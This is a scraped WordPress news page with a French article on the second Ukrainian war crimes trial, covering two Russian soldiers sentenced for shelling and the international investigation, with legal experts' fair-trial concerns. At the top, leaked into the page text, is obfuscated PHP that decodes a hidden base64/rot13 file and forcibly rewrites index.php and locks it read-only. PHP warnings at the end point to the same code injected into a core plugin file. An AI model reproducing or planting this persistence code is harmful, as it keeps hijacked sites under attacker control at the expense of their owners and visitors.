$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Crimes de guerre : Deux soldats russes condamnés à la prison lors d’un deuxième procès en Ukraine – Varib

Latest Post

Karl-Anthony Towns, Minnesota Timberwolves accepte une extension supermax de 224 millions de dollars sur 4 ans Un missile fait 14 morts près d’Odessa après que l’Ukraine a repris Snake Island

Espace réservé pendant le chargement des actions d’article

Un tribunal ukrainien a déclaré mardi deux soldats russes coupables de «violation des lois et coutumes de la guerre» et les a condamnés à 11 ans et demi de prison – le deuxième verdict rendu dans un procès ukrainien pour crimes de guerre tenu pendant le conflit.

La condamnation est intervenue alors que le procureur en chef ukrainien a annoncé que l’Estonie, la Lettonie et la Slovaquie deviendraient les nouveaux membres d’une équipe d’enquête multinationale, rassemblant et échangeant des preuves dans le but de tenir la Russie responsable.

Les deux militaires condamnés mardi sont détenus en Ukraine et ont été jugés dans la région de Poltava. Les procureurs les ont accusés d’avoir bombardé des sites civils dans une ville de la région orientale de Kharkiv. Le bombardement a détruit un établissement d’enseignement mais n’a fait aucune victime, ont déclaré les procureurs. Alexander Bobikin et Alexander Ivanov ont plaidé coupable la semaine dernière.

Que sont les crimes de guerre, et la Russie les commet-elle en Ukraine ?

Le verdict a suivi un autre la semaine dernière à Kyiv, où un tribunal trouvé un soldat russe de 21 ans coupable de crimes de guerre et l’a condamné à la prison à vie. Le soldat, Vadim Shishimarin, avait plaidé coupable d’avoir tué un civil de 62 ans dans la région de Soumy, au nord-est de l’Ukraine, au début de la guerre. Son avocat a déclaré qu’il avait l’intention de faire appel.

Des dizaines de milliers d’enquêteurs ont déployé à travers l’Ukraine pour recueillir des preuves. Iryna Venediktova, procureure générale d’Ukraine, a déclaré mardi que son bureau recevait chaque jour 200 à 300 nouvelles affaires de crimes de guerre, pour un total de 15 000 à ce jour. Elle a identifié près de 80 suspects.

Des procureurs et des enquêteurs du monde entier ont prêté leur expertise aux autorités ukrainiennes et ont commencé à préparer des dossiers en vue de poursuites devant des tribunaux ailleurs en Europe. Des pays comme la France, la Lituanie et les Pays-Bas ont envoyé des enquêteurs en Ukraine. La Cour pénale internationale, qui a ouvert une enquête sur les violations du droit international des deux côtés du conflit, a envoyé une équipe de 42 personnes, son plus grand déploiement jamais réalisé.

Les experts décrivent la multitude d’enquêtes comme sans précédent en termes d’ampleur et de rapidité, se déroulant alors même que la guerre fait rage. Le moment choisi permet aux enquêteurs d’accéder à de nouvelles preuves, mais les combats et l’occupation russe ont entravé l’accès.

L’ampleur des efforts a soulevé des inquiétudes concernant les dédoublements et les chevauchements, auquel l’équipe commune d’enquête, créée en mars et comprenant initialement l’Ukraine, la Lituanie et la Pologne, est censée s’attaquer. Le mois dernier, la CPI s’est jointe à l’effort, qu’Eurojust, l’agence de justice pénale de l’Union européenne, coordonne.

L’UE a récemment approuvé des règles permettant à l’agence de stocker des preuves liées à des crimes de guerre et de les partager avec les autorités judiciaires. Eurojust, qui recevra des fonds supplémentaires de l’UE, apporte également un soutien financier à l’enquête conjointe, a déclaré le président de l’agence, Ladislav Hamran.

La CPI travaille à l’ouverture d’un bureau à Kyiv, a déclaré le procureur Karim AA Khan aux journalistes.

Venediktova a exprimé sa gratitude pour l’aide. Elle a demandé plus d’équipement et de capacité de laboratoire pour l’analyse de l’ADN.

Lors d’une conférence de presse à La Haye, Venediktova a déclaré qu’elle espérait que l’enquête conjointe deviendrait un modèle.

Cependant, certains experts juridiques ont fait part de leurs inquiétudes quant au déroulement des premiers procès en Ukraine.

En vertu du droit international, prisonniers de guerre ne peuvent pas être jugés pour leur participation à un conflit, bien qu’ils puissent être poursuivis pour crimes de guerre. Les prisonniers de guerre doivent être traités avec humanité et ont droit à un avocat compétent et à un procès équitable.

Un soldat russe écope de la prison à vie lors du premier procès pour crimes de guerre en Ukraine

Robert Goldman, expert en crimes de guerre et en droits de l’homme au Washington College of Law de l’American University, a déclaré que les deux premiers procès en Ukraine avaient été remarquablement rapides et que la condamnation à perpétuité de Shishimarin, sévère au-delà des limites typiques de la jurisprudence européenne, semblait signifier le tribunal le «tenait responsable» du conflit plus large.

Le pilonnage d’une cible civile, pour laquelle les deux autres soldats ont été poursuivis, peut être compliqué à prouver, a-t-il dit. Pour être considéré comme un crime de guerre, les procureurs doivent démontrer que les accusés ont délibérément ciblé des infrastructures civiles ou lancé une attaque disproportionnée au mépris de l’impact civil.

“Encore une fois, vous avez en quelques jours des gens qui sont jugés et condamnés pour un crime très grave, qui est un crime de guerre”, a déclaré Goldman. “J’ai des questions très réelles sur la conduite du procès et l’adéquation de la défense.”

La défense a déclaré que Bobikin et Ivanov avaient suivi les ordres et ont appelé à la clémence, selon la chaîne de télévision publique ukrainienne Suspilne. Les procureurs avaient demandé 12 ans, a rapporté Reuters.

Venediktova a également annoncé mardi qu’un militaire russe accusé de viol sera jugé par contumace en Ukraine. Mikhaïl Romanov est accusé d’avoir tué un civil non armé et, avec un complice, violant à plusieurs reprises la femme de l’homme et menaçant de tirer sur la victime et son enfant.

Des procès par contumace ont eu lieu dans le passé, a déclaré Goldman, et généralement les accusés sont rejugés s’ils sont capturés. Mais dans ce cas et dans d’autres, ils ont soulevé des inquiétudes quant à l’équité.

“Il y a un vrai problème à juger quelqu’un pour un crime alors qu’il ne peut pas vraiment se défendre”, a-t-il déclaré.

Moscou et les séparatistes soutenus par la Russie, qui détiennent désormais des centaines de soldats ukrainiens qui se sont rendus à Marioupol, ont indiqué qu’ils avaient également l’intention de traduire en justice les Ukrainiens pour crimes de guerre. Le système judiciaire russe reste très politisé et les experts juridiques ont déclaré qu’il était peu probable que les prisonniers bénéficient d’un procès équitable.

Les soldats russes condamnés en Ukraine pourraient être inclus dans un échange de prisonniers. Venediktova a déclaré mardi que l’Ukraine avait “des possibilités techniques d’échanger des personnes”, bien que cela ne relève pas de la compétence de son bureau.

Andrew Jeong a contribué à ce rapport.

Leave a Reply

Your email address will not be published.


Warning: file_get_contents(): open_basedir restriction in effect. File(index.php) is not within the allowed path(s): (/www/wwwroot/33rapfr.co/:/tmp/) in /www/wwwroot/33rapfr.co/wp-includes/plugin.php on line 443

Warning: file_get_contents(index.php): failed to open stream: Operation not permitted in /www/wwwroot/33rapfr.co/wp-includes/plugin.php on line 443